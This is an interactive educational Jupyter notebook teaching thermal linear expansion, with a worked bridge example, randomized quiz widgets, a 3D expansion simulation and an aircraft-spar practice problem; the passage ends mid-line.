{"text": "![Callysto.ca Banner](https://github.com/callysto/curriculum-notebooks/blob/master/callysto-notebook-banner-top.jpg?raw=true)\n\n<a href=\"https://hub.callysto.ca/jupyter/hub/user-redirect/git-pull?repo=https%3A%2F%2Fgithub.com%2Fcallysto%2Fcurriculum-notebooks&branch=master&subPath=Science/ThermalExpansion/thermal-expansion.ipynb&depth=1\" target=\"_parent\"><img src=\"https://raw.githubusercontent.com/callysto/curriculum-notebooks/master/open-in-callysto-button.svg?sanitize=true\" width=\"123\" height=\"24\" alt=\"Open in Callysto\"/></a>\n\n%%html\n\n<script>\n  function code_toggle() {\n    if (code_shown){\n      $('div.input').hide('500');\n      $('#toggleButton').val('Show Code')\n    } else {\n      $('div.input').show('500');\n      $('#toggleButton').val('Hide Code')\n    }\n    code_shown = !code_shown\n  }\n\n  $( document ).ready(function(){\n    code_shown=false;\n    $('div.input').hide()\n  });\n</script>\n<form action=\"javascript:code_toggle()\"><input type=\"submit\" id=\"toggleButton\" value=\"Show Code\"></form>\n\nfrom ipywidgets import Output, IntSlider, VBox, Layout\nfrom IPython.display import Javascript,clear_output, display, HTML\nimport ipywidgets as widgets\nimport random\nfrom plotly.offline import init_notebook_mode, iplot\nfrom ipywidgets import HBox\nimport plotly.graph_objs as go\nimport numpy as np\nimport random\n\ninit_notebook_mode(connected=True)\n\n#This function produces a multiple choice form with four options\ndef multiple_choice(option_1, option_2, option_3, option_4):\n    option_list = [option_1, option_2, option_3, option_4]\n    answer = option_list[0]\n    letters = [\"(A) \", \"(B) \", \"(C) \", \"(D) \"]\n\n    #Boldface letters at the beginning of each option\n    start_bold = \"\\033[1m\"; end_bold = \"\\033[0;0m\"\n\n    #Randomly shuffle the options\n    random.shuffle(option_list)\n    \n    #Prints the letters (A) to (D) in sequence with randomly chosen options\n    for i in range(4):\n        option_text = option_list.pop()\n        print(start_bold + letters[i] + end_bold + option_text)\n\n        #Stores the correct answer\n        if option_text == answer:\n            letter_answer = letters[i]\n\n    button1 = widgets.Button(description=\"(A)\"); button2 = widgets.Button(description=\"(B)\")\n    button3 = widgets.Button(description=\"(C)\"); button4 = widgets.Button(description=\"(D)\")\n    \n    button1.style.button_color = 'Whitesmoke'; button2.style.button_color = 'Whitesmoke'\n    button3.style.button_color = 'Whitesmoke'; button4.style.button_color = 'Whitesmoke'\n    \n    container = widgets.HBox(children=[button1,button2,button3,button4])\n    display(container)\n    print(\" \", end='\\r')\n\n    def on_button1_clicked(b):\n        if \"(A) \" == letter_answer:\n            print(\"Correct! \ud83d\udc4f\", end='\\r')\n            button1.style.button_color = '#abffa8'; button2.style.button_color = 'Whitesmoke'\n            button3.style.button_color = 'Whitesmoke'; button4.style.button_color = 'Whitesmoke'\n        else:\n            print(\"Try again! \", end='\\r')\n            button1.style.button_color = '#ffbbb8'; button2.style.button_color = 'Whitesmoke'\n            button3.style.button_color = 'Whitesmoke'; button4.style.button_color = 'Whitesmoke'\n\n    def on_button2_clicked(b):\n        if \"(B) \" == letter_answer:\n            print(\"Correct! \ud83d\udc4f\", end='\\r')\n            button1.style.button_color = 'Whitesmoke'; button2.style.button_color = '#abffa8'\n            button3.style.button_color = 'Whitesmoke'; button4.style.button_color = 'Whitesmoke'\n        else:\n            print(\"Try again! \", end='\\r')\n            button1.style.button_color = 'Whitesmoke'; button2.style.button_color = '#ffbbb8'\n            button3.style.button_color = 'Whitesmoke'; button4.style.button_color = 'Whitesmoke'\n\n    def on_button3_clicked(b):\n        if \"(C) \" == letter_answer:\n            print(\"Correct! \ud83d\udc4f\", end='\\r')\n            button1.style.button_color = 'Whitesmoke'; button2.style.button_color = 'Whitesmoke'\n            button3.style.button_color = '#abffa8'; button4.style.button_color = 'Whitesmoke'\n        else:\n            print(\"Try again! \", end='\\r')\n            button1.style.button_color = 'Whitesmoke'; button2.style.button_color = 'Whitesmoke'\n            button3.style.button_color = '#ffbbb8'; button4.style.button_color = 'Whitesmoke'\n\n    def on_button4_clicked(b):\n        if \"(D) \" == letter_answer:\n            print(\"Correct! \ud83d\udc4f\", end='\\r')\n            button1.style.button_color = 'Whitesmoke'; button2.style.button_color = 'Whitesmoke'\n            button3.style.button_color = 'Whitesmoke'; button4.style.button_color = '#abffa8'\n        else:\n            print(\"Try again! \", end='\\r')\n            button1.style.button_color = 'Whitesmoke'; button2.style.button_color = 'Whitesmoke'\n            button3.style.button_color = 'Whitesmoke'; button4.style.button_color = '#ffbbb8'\n\n    button1.on_click(on_button1_clicked); button2.on_click(on_button2_clicked)\n    button3.on_click(on_button3_clicked); button4.on_click(on_button4_clicked)\n\ndef run_all(ev):\n    display(Javascript('IPython.notebook.execute_cell()'))\n\n# Thermal Linear Expansion\n\n## Introduction\n\nThe goal of this notebook is to discuss the following:\n- Review **Kinetic Molecular Theory** and how it relates to thermal expansion.\n- Derive a **formula** to compute thermal expansion.\n- **Apply** this formula to real-world scenarios.\n\n## Kinetic Molecular Theory\n\n**Summary:**\n\n- Matter is made up of particles that are constantly moving.\n- The temperature of a substance is a measure of the average kinetic energy of the particles.\n- There are spaces between particles of matter. The average amount of empty space between molecules gets progressively larger as a sample of matter moves from solid to the liquid and gas phases.\n\n<img style=\"float: center;\" src=\"images/particles.svg\" width=\"400\">\n\nstart_bold = \"\\033[1m\"; end_bold = \"\\033[0;0m\"\nquestion = start_bold + \"Key Question: \" + end_bold + \\\n\"Most solids \" + start_bold + \"expand\" + end_bold + \" when heated. Based on the points above, \" + start_bold + \"why is this the case?\" + end_bold\nprint(question)\nprint(\"\")\noption_1 = \"When heat is added to a substance, the molecules vibrate faster causing the space between molecules to increase.\"\noption_2 = \"An increase in temperature causes the molecules to loosen up and move freely but slowly around.\"\noption_3 = \"As objects become hotter, they contract and the molecules increase their speed.\"\noption_4 = \"An increase in temperature causes the molecules to tighten up and move in a constricted manner.\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\n## Thermal Linear Expansion\n\n**Definition:** The increase in length of a solid in one direction (due to an increase in temperature) is called *thermal linear expansion*. \n\n**Goal:** Given any solid, we wish to **predict** how much the solid will expand with a change in temperature; i.e. how do we predict the *change in length* ($\\Delta L$) of a solid due to an increase in temperature?\n\n<img style=\"float: center;\" src=\"images/RodExpanding.svg\"  width=\"400\">\n\nstart_bold = \"\\033[1m\"; end_bold = \"\\033[0;0m\"\nquestion = start_bold + \"Key Question: \" + end_bold + \"What \" + start_bold + \"variable(s)\" + end_bold + \" would you need know to predict how much a substance will expand when heat is added?\"\nprint(question)\nprint(\"\")\noption_1 = \"Type of material, Initial length/size, Amount of heat added\"\noption_2 = \"Type of material, Amount of heat added\"\noption_3 = \"Pressure acting material, Amount of heat added\"\noption_4 = \"Roughness of the material, Type of material\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\n**Fact:** The change of length $(\\Delta L)$ of a solid depends on **three** factors:\n1. *Initial length* of the solid $(L)$\n2. *Temperature change* $(\\Delta T)$\n3. Type of material, distinguished by a constant value named the *coefficient of linear expansion* $(\\alpha)$\n\nSome values for the coefficient of linear expansion are shown in the table below:\n\n Materials                 | Coefficient of linear expansion, $\\alpha$ $\\:$ ($1/\u00b0\\rm{C}$)\n ---                       | ---\n Aluminum                  | 25 $\\times$ 10$^{-6}$\n Concrete, iron, steel     | 12 $\\times$ 10$^{-6}$\n Copper                    | 16 $\\times$ 10$^{-6}$\n Glass (soft), Platinum    | 9 $\\times$ 10$^{-6}$\n Glass (Pyrex)             | 3 $\\times$ 10$^{-6}$\n\nThe following formula relates these **four quantities variables** together: \n\n$$\\Delta L = \\alpha L \\Delta T$$\n\nWe will derive this formula later on in the notebook. Before that, let's get accustomed to using this formula in practical situations.\n\n### Example\n\nThe longest continuous bridge in Saskatchewan is a 380 m long steel bridge in North Battleford. The temperature in the area varies from -40.0 $^\\circ$C to 30.0 $^\\circ$C. What is the *change in length of the bridge*? Round to two significant figures.\n\nout1 = Output()\nStep1B = widgets.Button(description=\"STEP 1\", layout=Layout(width='20%', height='100%'))\ncount1 = 1\n\ninfo1 = widgets.HTMLMath(value=\"Identify the variables that we know and what we're looking for:\")\nmath_text1 = widgets.HTMLMath(value=\"Initial length: $L=380\\:m$\")\nmath_text2 = widgets.HTMLMath(value=\"Change in temperature: $\\Delta T = T_{final} - T_{initial}$ = 30\u00b0C $-$ ($-$40\u00b0C) = 70\u00b0C\")\nmath_text3 = widgets.HTMLMath(value=\"Coefficient of linear expansion (specific to steel): \" + chr(0x3B1) + \" = $12 \u00d7 10^{-6}$ \u00b0C$^{-1}$ (reference from table)\")\nmath_text4 = widgets.HTMLMath(value=\"Change in length of the bridge:  $\\Delta L$ = ?\")\n\n\n\ndef on_Step1B_clicked(b):\n    global count1\n    count1 += 1\n    with out1:\n        clear_output()\n        if count1 % 2 == 0:\n            display(info1, math_text1, math_text2, math_text3, math_text4)\n            \ndisplay(VBox([Step1B, out1]))\nStep1B.on_click(on_Step1B_clicked)\n\nout2 = Output()\nStep2B = widgets.Button(description=\"STEP 2\", layout=Layout(width='20%', height='100%'))\ncount2 = 1\n\ninfo2 = widgets.HTMLMath(value=\"Substitute each known value into the formula and solve for the missing variable:\")\nmath_text5 = widgets.HTMLMath(value=\"$\\Delta L$ = \" + chr(0x3B1) + \" L $\\Delta T$ = ($12 \u00d7 10^{-6}$ \u00b0C$^{-1}$)(380 m)(70 \u00b0C) = 0.3192 m\")\n\ndef on_Step2B_clicked(b):\n    global count2\n    count2 += 1\n    with out2:\n        clear_output()\n        if count2 % 2 == 0:\n            display(info2, math_text5)\n            \ndisplay(VBox([Step2B, out2]))\nStep2B.on_click(on_Step2B_clicked)\n\nout3 = Output()\nStep3B = widgets.Button(description=\"STEP 3\", layout=Layout(width='20%', height='100%'))\ncount3 = 1\n\ninfo3 = widgets.HTMLMath(value=\"Round to the correct number of significant figures and convert to the correct units (if needed):\")\nmath_text6 = widgets.HTMLMath(value=\"0.3192 m = 0.32 m or 32 cm\")\n\ndef on_Step3B_clicked(b):\n    global count3\n    count3 += 1\n    with out3:\n        clear_output()\n        if count3 % 2 == 0:\n            display(info3, math_text6)\n            \ndisplay(VBox([Step3B, out3]))\nStep3B.on_click(on_Step3B_clicked)\n\n### Practice\nTry multiple practice problems by clicking the 'Generate New Question' button upon completing a problem.\n\nbutton = widgets.Button(description=\"Generate New Question\", layout=Layout(width='20%', height='100%'))\nbutton.on_click(run_all)\ndisplay(button)\n\n#Variables to randomize\ninitial_length = round(random.uniform(2.0, 6.0), 2)\ninitial_temp = round(random.uniform(-50.0, -20.0), 1)\nfinal_temp = round(random.uniform(30.0, 45.0), 1)\n\n#Dictionary of different materials\nmaterials = {\"aluminum\": 0.000025, \"iron\": 0.000012, \"steel\": 0.000012, \"glass (soft)\": 0.000009, \"glass (pyrex)\": 0.000003, \"concrete\": 0.000012, \"platinum\": 0.000009, \"copper\": 0.000016}\nchosen_material = random.choice(list(materials.keys()))\n\n#Print question\nquestion = \"A piece of {} is {} m on a cold winter day ({} \u00b0C). How much longer is it on a very hot summer day ({} \u00b0C)? Round to two decimal places.\".format(chosen_material, initial_length, initial_temp, final_temp)\nprint(question)\n\n#Answer calculation\nanswer = round((initial_length * materials[chosen_material] * (final_temp - initial_temp))*100, 2)\n\n#Define range of values for random multiple choices\nmini = 1\nmaxa = 100\n\n#Create three choices that are unique (and not equal to the answer)\nchoice_list = random.sample(range(mini,maxa),3)\nwhile choice_list.count(int(answer*100)) >= 1:\n    choice_list = random.sample(range(mini,maxa),3)\n    \n#Assign each multiple choice to these four variables\n#Option_1 contains the answer\noption_1 = '{:.2f}'.format(answer) + \" cm\" \noption_2 = '{:.2f}'.format(choice_list[0]/100) + \" cm\"\noption_3 = '{:.2f}'.format(choice_list[1]/100) + \" cm\"\noption_4 = '{:.2f}'.format(choice_list[2]/100) + \" cm\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\n## Deriving the Formula\n\nNow that you are comfortable using the thermal expansion formula, we now discuss how it is derived experimentally. Of the four quantities in the equation, $\\Delta L = \\alpha L \\Delta T$, it is the coefficient of linear expansion ($\\alpha$) that may be still be mysterious in how it is measured. Previously, we have referenced a table of values to determine $\\alpha$, but *where do these values come from?*\n\nWe demonstrate how to calculate $\\alpha$ experimentally below. We will require two different materials so we can compare each expansion (which you can select in the dropdown menus below). We then apply *the exact same amount of heat to both materials* (which you can adjust using the slider). When you are ready, click the \"Calculate Linear Expansion\" button below. \n\ncoefficients = {\"Aluminum\": 0.000025, \"Iron\": 0.000012, \"Steel\": 0.000012, \"Glass (soft)\": 0.000009, \"Glass (Pyrex)\": 0.000003, \"Concrete\": 0.000012, \"Platinum\": 0.000009, \"Copper\": 0.000016}\n\ngraph_out = Output()\n\nselection1 = widgets.Dropdown(\n    options={'Aluminum', 'Steel', 'Copper'},\n    value='Aluminum',\n    description='Material 1:',\n)\n\nselection2 = widgets.Dropdown(\n    options={'Iron', 'Platinum', 'Glass (Pyrex)'},\n    value='Iron',\n    description='Material 2:',\n)\n\ntemp_slider = IntSlider(continuous_update=False, wait=True, value=500, min=50, max=1000, step=50, description=chr(0x0394) + 'T (\u00b0C)')\ninitial_length_slider = IntSlider(continuous_update=False, wait=True, value=5, min=1, max=10, step=1, description='L (m)')\n\nsubmit_button = widgets.Button(description=\"Calculate Linear Expansion\", layout=Layout(width='20%', height='88%'),button_style='success')\n\n################ Functions ##################\n\ndef initial_graph(material1, material2):\n################# Parametric Equations #################\n    s3 = np.linspace(0, 2 * np.pi, 30)\n    t3 = np.linspace(0, 5, 30)\n    tGrid3, sGrid3 = np.meshgrid(s3, t3)\n\n    x3 = np.cos(tGrid3) + 1.5\n    y3 = np.sin(tGrid3) + 1.5\n    z3 = sGrid3\n\n    s4 = np.linspace(0, 2 * np.pi, 30)\n    t4 = np.linspace(0, 5, 30)\n    tGrid4, sGrid4 = np.meshgrid(s4, t4)\n\n    x4 = np.cos(tGrid4) + 3.5\n    y4 = np.sin(tGrid4) + 3.5\n    z4 = sGrid4\n\n    ######################################################\n\n    trace1 = go.Surface(x=x3, y=y3, z=z3, colorscale='Greens', showscale=False, text = material1, hoverinfo='text')\n    trace2 = go.Surface(x=x4, y=y4, z=z4, colorscale='Blues', showscale=False, text = material2, hoverinfo='text')\n    data = [trace1, trace2]\n    layout = go.Layout(title = material1 + \" and \" + material2 + \" (before heat is applied)\",\n    scene = dict(xaxis = dict(title='', range = [0,5],\n                     backgroundcolor=\"rgb(200, 200, 230)\",\n                     gridcolor=\"rgb(255, 255, 255)\",\n                     showbackground=True,\n                     zerolinecolor=\"rgb(255, 255, 255)\",\n                     showticklabels=False,),\n                yaxis = dict(title='', range = [0,5],\n                    backgroundcolor=\"rgb(230, 200,230)\",\n                    gridcolor=\"rgb(255, 255, 255)\",\n                    showbackground=True,\n                    zerolinecolor=\"rgb(255, 255, 255)\",\n                    showticklabels=False),\n                zaxis = dict(title='', range = [0,4],\n                    backgroundcolor=\"rgb(230, 230,200)\",\n                    gridcolor=\"rgb(255, 255, 255)\",\n                    showbackground=True,\n                    zerolinecolor=\"rgb(255, 255, 255)\",\n                    showticklabels=False,),),\n              )\n    config={'showLink': False, 'editable': False}\n    fig = go.Figure(data=data, layout=layout)\n    iplot(fig, config=config)\n\n\ndef graph(h, h2, material1, material2, initial_length):\n    with graph_out:\n        clear_output(wait=True)\n        \n        ################# Parametric Equations #################\n        s = np.linspace(0, 2 * np.pi, 30)\n        t = np.linspace(0, h, 30)\n        tGrid, sGrid = np.meshgrid(s, t)\n        \n        x = np.cos(tGrid) + 1.5\n        y = np.sin(tGrid) + 1.5\n        z = sGrid + initial_length\n        \n        s2 = np.linspace(0, 2 * np.pi, 30)\n        t2 = np.linspace(0, h2, 30)\n        tGrid2, sGrid2 = np.meshgrid(s2, t2)\n        \n        x2 = np.cos(tGrid2) + 3.5\n        y2 = np.sin(tGrid2) + 3.5\n        z2 = sGrid2 + initial_length\n        \n        s3 = np.linspace(0, 2 * np.pi, 30)\n        t3 = np.linspace(0, initial_length, 30)\n        tGrid3, sGrid3 = np.meshgrid(s3, t3)\n        \n        x3 = np.cos(tGrid3) + 1.5\n        y3 = np.sin(tGrid3) + 1.5\n        z3 = sGrid3\n        \n        s4 = np.linspace(0, 2 * np.pi, 30)\n        t4 = np.linspace(0, initial_length, 30)\n        tGrid4, sGrid4 = np.meshgrid(s4, t4)\n        \n        x4 = np.cos(tGrid4) + 3.5\n        y4 = np.sin(tGrid4) + 3.5\n        z4 = sGrid4\n        ######################################################\n        \n        trace1 = go.Surface(x=x, y=y, z=z, colorscale='Reds', showscale=False, text = chr(0x0394) + 'L (' + material1 + ') = ' + str(round(h/5 * 100 ,5)) + ' cm', hoverinfo='text')\n        trace2 = go.Surface(x=x2, y=y2, z=z2, colorscale='Reds', showscale=False, text = chr(0x0394) + 'L (' + material2 + ') = ' + str(round(h2/5 * 100,5)) + ' cm', hoverinfo='text')\n        trace3 = go.Surface(x=x3, y=y3, z=z3, colorscale='Greens', showscale=False, text = material1, hoverinfo='text')\n        trace4 = go.Surface(x=x4, y=y4, z=z4, colorscale='Blues', showscale=False, text = material2, hoverinfo='text')\n        \n        data = [trace1, trace2, trace3, trace4]\n        layout = go.Layout(title = chr(0x0394) + 'L (' + material1 + ') = ' + str(round(h/5 * 100 ,5)) + ' cm;  ' + chr(0x0394) + 'L (' + material2 + ') = ' + str(round(h2/5 * 100,5)) + ' cm',\n                    scene = dict(\n                    xaxis = dict(title='', range = [0,5],\n                         backgroundcolor=\"rgb(200, 200, 230)\",\n                         gridcolor=\"rgb(255, 255, 255)\",\n                         showbackground=True,\n                         zerolinecolor=\"rgb(255, 255, 255)\",\n                         showticklabels=False,),\n                    yaxis = dict(title='', range = [0,5],\n                        backgroundcolor=\"rgb(230, 200,230)\",\n                        gridcolor=\"rgb(255, 255, 255)\",\n                        showbackground=True,\n                        zerolinecolor=\"rgb(255, 255, 255)\",\n                        showticklabels=False),\n                    zaxis = dict(title='', range = [0,initial_length + max(h,h2)],\n                        backgroundcolor=\"rgb(230, 230,200)\",\n                        gridcolor=\"rgb(255, 255, 255)\",\n                        showbackground=True,\n                        zerolinecolor=\"rgb(255, 255, 255)\",\n                        showticklabels=False,),),\n                  )\n        config={'showLink': False, 'editable': False}\n        fig = go.Figure(data=data, layout=layout)\n        note = widgets.HTMLMath(value=r\"$\\textbf{Note: } \\text{The thermal expansion shown below (coloured red) is magnified (5x) for easier viewing.}$\")\n        display(note)\n        iplot(fig, config=config)\n\ndef on_submit_button_clicked(b):\n    height = (initial_length_slider.value*temp_slider.value*coefficients[selection1.value]) * 5\n    height2 = (initial_length_slider.value*temp_slider.value*coefficients[selection2.value]) *  5\n    graph(height, height2, selection1.value, selection2.value, initial_length_slider.value)\n    \n\ndisplay(HBox([VBox([selection1, selection2]), VBox([temp_slider, initial_length_slider])]))\ndisplay(submit_button)\ndisplay(graph_out)\n\nwith graph_out:\n    initial_graph(selection1.value, selection2.value)\n    \nsubmit_button.on_click(on_submit_button_clicked)\n\n*Use the interactive simulation above to answer the following two questions.*\n\nstart_bold = \"\\033[1m\"; end_bold = \"\\033[0;0m\"\nquestion = \"Keep \u0394T fixed and only adjust L. Run the simulation many times, each with a different value for L (but the same value for \u0394T). What happens to \u0394L?\"\nprint(question)\nprint(\"\")\noption_1 = \"\u0394L increases as L increases and \u0394L decreases as L decreases.\"\noption_2 = \"\u0394L increases as L decreases and \u0394L decreases as L increases.\"\noption_3 = \"There is no relationship between \u0394L and L.\"\noption_4 = \"When L decreases or increases, \u0394L remains constant.\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\nstart_bold = \"\\033[1m\"; end_bold = \"\\033[0;0m\"\nquestion = \"Now, keep L fixed and only adjust \u0394T. Again, run the simulation many times, each with a different value for \u0394T (but the same value for L). What happens to \u0394L?\"\nprint(question)\nprint(\"\")\noption_1 = \"\u0394L increases as \u0394T increases and \u0394L decreases as \u0394T decreases.\"\noption_2 = \"\u0394L increases as \u0394T decreases and \u0394L decreases as \u0394T increases.\"\noption_3 = \"There is no relationship between \u0394L and \u0394T.\"\noption_4 = \"When \u0394T decreases or increases, \u0394L remains constant.\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\n**Goal:** To establish a thermal expansion formula capable of accurately predicting how much a material will expand linearly when heat is applied.\n\nObserve how $\\Delta L$ is different for some materials (aluminum versus platinum), but the same for others (steel versus iron). This is due to similarities and differences between the chemical composition of each material. For example, steel is comprised of around 90-95% iron, which accounts for both materials' identical rate of thermal expansion. \n\nSimply knowing the initial length ($L$) and change in temperature ($\\Delta T$) is clearly not enough to predict change in length ($\\Delta L$). We can see this above: when both materials share the same values of $L$ and $\\Delta T$, their $\\Delta L$ is often different. We somehow must assign a *constant* value (which we call $\\alpha$) for each material that we can use alongside $L$ and $\\Delta T$ to compute $\\Delta L$. Since we experimentally measured $\\Delta L$ above, we in fact have all the information we need to establish such a constant.\n\nThe above simulation and questions indicates that the relationship between $L$, $\\Delta T$, and $\\Delta L$ is direct rather than inverse ($1/\\Delta T$ or $1/L$). Since $\\Delta L$ becomes larger as both $L$ and $\\Delta T$ become larger, we guess that their relationship is multiplicative. Hence, we begin by writing down the following formula that we want:\n\n$$\\Delta L = \\alpha L \\Delta T$$\n\nThe $\\alpha$ is the constant that we need, but do not know. However, we measured $\\Delta L$ and we know both $L$ and $\\Delta T$, so computing $\\alpha$ is easy:\n\n$$\\alpha  = \\dfrac{\\Delta L}{L \\Delta T}$$\n    \nUsing the sliders below, input the change in length ($\\Delta L$) for both materials 1 and 2 from the above experimental simulation to compute $\\alpha$ for each material. **Hint:** Use your *arrow keys* on your keyboard to use the sliders with precision.\n\nout_text = Output()\n\n################ Widgets #################\nstyle = {'description_width': 'initial'}\ntemp1_slider = IntSlider(continuous_update=False, wait=True, value=500, min=10, max=1000, step=1, description=chr(0x0394) + 'T (\u00b0C)')\nchange1_slider = widgets.FloatSlider(continuous_update=False, wait=True, value=0, min=0, max=10, step=0.001, readout_format='.3f', description=chr(0x0394) + 'L'+ chr(0x2081) + ' (cm)', style=style)\nchange2_slider = widgets.FloatSlider(continuous_update=False, wait=True, value=0, min=0, max=10, step=0.001, readout_format='.3f', description=chr(0x0394) + 'L'+ chr(0x2082) + ' (cm)', style=style)\ncoeff_calc = widgets.Button(description=\"Calculate \" + chr(0x03b1) + chr(0x2081) + \" and \" + chr(0x03b1) + chr(0x2082), layout=Layout(width='20%', height='88%'),button_style='success')\n###########################################\n\ndisplay(VBox([temp1_slider, change1_slider, change2_slider, coeff_calc]))\n\ndef on_submit_button_clicked(b):\n    ans1 = round(change1_slider.value / (300.0 * temp1_slider.value), 8)\n    ans2 = round(change2_slider.value / (300.0 * temp1_slider.value), 8)\n    with out_text:\n        clear_output()\n        text_answer = widgets.HTMLMath(value=r\"$\\alpha_1 = $ \" + str(ans1) + \" \u00b0C$^{-1}$\" + \"$\\qquad$\" + r\"$\\alpha_2 = $ \" + str(ans2) + \" \u00b0C$^{-1}$\")\n        text_answer2 = widgets.HTMLMath(value=r\"Compare each $\\alpha_1$ and $\\alpha_2$ to those found in the table of coefficients of linear expansion above. See if they match.\")\n        display(text_answer)\n        display(text_answer2)\n\n### Widget Interaction Function Calls ###\ncoeff_calc.on_click(on_submit_button_clicked)\n\ndisplay(out_text)\n\n## Variations on the Thermal Expansion Formula\n\nAs we've just seen, the formula $\\Delta L = \\alpha L \\Delta T$ is not always used to find $\\Delta L$. Often, we can experimentally measure $\\Delta L$. Depending on the application, we can then theoretically compute one of the other quantities (assuming we know the value of two of the other quantities). It is worth noting the three variations of the thermal expansion formula:\n\n$$\\alpha = \\dfrac{\\Delta L}{L \\Delta T} \\qquad L = \\dfrac{\\Delta L}{\\alpha \\Delta T} \\qquad \\Delta T = \\dfrac{\\Delta L}{\\alpha L}$$\n\n**Note:** This is **one** formula being displayed in **three** different ways. It is convenient to make use of the variation that corresponds to the unknown value that you wish to determine.\n\n### Practice \n\nTry the three different types of questions using the above variations of the thermal expansion formula. Use the 'Generate New Question' button to complete additional practice problems.\n\nbutton1 = widgets.Button(description=\"Generate New Question\", layout=Layout(width='20%', height='100%'))\nbutton1.on_click(run_all)\ndisplay(button1)\n\n#Variables to randomize\nchange_length = round(random.uniform(0.2, 0.9), 2)\ninitial_length = round(random.uniform(1.0, 3.0), 2)\ninitial_temp = round(random.uniform(10.0, 25.0), 1)\nfinal_temp = round(random.uniform(100.0, 150.0), 1)\n\n#Print question\nquestion = \"An newly made synthetic material {} m long expands {} mm when heated from {}\u00b0C to {}\u00b0C. What is the coefficient of linear expansion of this new material?\".format(initial_length, change_length, initial_temp, final_temp)\nprint(question)\n\n#Answer calculation\nanswer = round((change_length/1000) / (initial_length * (final_temp - initial_temp)), 8)\n\n#Define range of values for random multiple choices\nmini = 100\nmaxa = 900\n\n#Create three choices that are unique (and not equal to the answer)\nchoice_list = random.sample(range(mini,maxa),3)\nwhile choice_list.count(int(answer*100000000)) >= 1:\n    choice_list = random.sample(range(mini,maxa),3)\n    \n#Assign each multiple choice to these four variables\n#Option_1 contains the answer\noption_1 = str(answer) + \" \u00b0C\" + chr(0x207B) + chr(0x00B9) \noption_2 = str(choice_list[0]/100000000) + \" \u00b0C\" + chr(0x207B) + chr(0x00B9)\noption_3 = str(choice_list[1]/100000000) + \" \u00b0C\" + chr(0x207B) + chr(0x00B9)\noption_4 = str(choice_list[2]/100000000) + \" \u00b0C\" + chr(0x207B) + chr(0x00B9)\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\nbutton2 = widgets.Button(description=\"Generate New Question\", layout=Layout(width='20%', height='100%'))\nbutton2.on_click(run_all)\ndisplay(button2)\n\n#Variables to randomize\nchange_length = round(random.uniform(0.5, 2.0), 2)\ninitial_temp = round(random.uniform(20.0, 30.0), 1)\nfinal_temp = round(random.uniform(100.0, 250.0), 1)\n\n#Dictionary of different materials\nmaterials = {\"aluminum\": 0.000025, \"iron\": 0.000012, \"steel\": 0.000012, \"glass (soft)\": 0.000009, \"glass (pyrex)\": 0.000003, \"concrete\": 0.000012, \"platinum\": 0.000009, \"copper\": 0.000016}\nchosen_material = random.choice(list(materials.keys()))\n\n#Print question\nquestion = \"A piece of {} changes in length by {} m. The initial temperature was {}\u00b0C and the final temperature was {}\u00b0C. Determine the original length of the material. Leave your answer unrounded.\".format(chosen_material, change_length, initial_temp, final_temp)\nprint(question)\n\n#Answer calculation\nanswer = round(change_length / (materials[chosen_material] * (final_temp - initial_temp)), 2)\n\n#Define range of values for random multiple choices\nmini = 500\nmaxa = 1500\n\n#Create three choices that are unique (and not equal to the answer)\nchoice_list = random.sample(range(mini,maxa),3)\nwhile choice_list.count(int(answer)) >= 1:\n    choice_list = random.sample(range(mini,maxa),3)\n    \n#Assign each multiple choice to these four variables\n#Option_1 contains the answer\noption_1 = '{:.2f}'.format(answer) + \" m\" \noption_2 = '{:.2f}'.format(choice_list[0]) + \" m\"\noption_3 = '{:.2f}'.format(choice_list[1]) + \" m\"\noption_4 = '{:.2f}'.format(choice_list[2]) + \" m\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\nbutton3 = widgets.Button(description=\"Generate New Question\", layout=Layout(width='20%', height='100%'))\nbutton3.on_click(run_all)\ndisplay(button3)\n\n\n#Variables to randomize\nchange_length = round(random.uniform(1.0, 4.0), 2)\ninitial_length = round(random.uniform(100.0, 150.0), 1)\n\n#Dictionary of different materials\nmaterials = {\"aluminum\": 0.000025, \"iron\": 0.000012, \"steel\": 0.000012, \"glass (soft)\": 0.000009, \"glass (pyrex)\": 0.000003, \"concrete\": 0.000012, \"platinum\": 0.000009, \"copper\": 0.000016}\nchosen_material = random.choice(list(materials.keys()))\n\n#Print question\nquestion = \"By how much would you need to heat a {} inch {} sample to make it expand by {} inches? Round to the nearest degree Celsius.\".format(initial_length, chosen_material, change_length)\nprint(question)\n\n#Answer calculation\nanswer = int(change_length / (materials[chosen_material] * initial_length))\n\n#Define range of values for random multiple choices\nmini = 600\nmaxa = 3000\n\n#Create three choices that are unique (and not equal to the answer)\nchoice_list = random.sample(range(mini,maxa),3)\nwhile choice_list.count(answer) >= 1:\n    choice_list = random.sample(range(mini,maxa),3)\n    \n#Assign each multiple choice to these four variables\n#Option_1 contains the answer\noption_1 = str(answer) + \" \u00b0C\" \noption_2 = str(choice_list[0]) + \" \u00b0C\"\noption_3 = str(choice_list[1]) + \" \u00b0C\"\noption_4 = str(choice_list[2]) + \" \u00b0C\"\n\nmultiple_choice(option_1, option_2, option_3, option_4)\n\n## Application: Aircraft Components\n\nAircraft materials often require *specialized properties* in order to operate in the most desirable manner. The specialized property of the material may be the most important consideration in materials selection. Listed below are several key specialized properties considered in aircraft materials selection:\n\n- Electrical conductivity (important for the outer skin of the aircraft)\n- Stealth (materials that can absorb radar waves and/or reduce the infrared visibility are used in the external surface of covert military aircraft)\n- Thermal conductivity (used in high-temperature applications, such as heat shields and engine components)\n- <span style=\"color: maroon\">Thermal expansion (used in high-temperature range applications, such as wing and engine components)</span>\n\n### Problem\n\nAn unknown metal alloy is being tested to discover its thermal properties to see if it suitable for use as a *spar*, which is a component of an airplane wing (shown in red below). The alloy is formed into a bar measuring 1.00 metre in length and it is then heated from its starting temperature of 30 \u00b0C to a final temperature of 100.0 \u00b0C. The length of the heated bar is measured to be exactly 1.002 metres in length. **What is the coefficient of thermal expansion of the alloy? Round your answer to two significant figures.**\n\n<img style=\"float: center;\" src=\"images/WingSpar.svg\" width=\"600\">\n\noption_1 = str(0.000029) + \" \u00b0C\" + chr(0x207B) + chr(0x00B9)\noption_2 = str(0.014) + \" \u00b0C\" + chr(0x207B) + chr(0x00B9)\noption_3 = str(0.000032) + \" \u00b0C\" + chr(0x207B) + chr(0x00B9)\noption_4 = str(0.0140) + \" 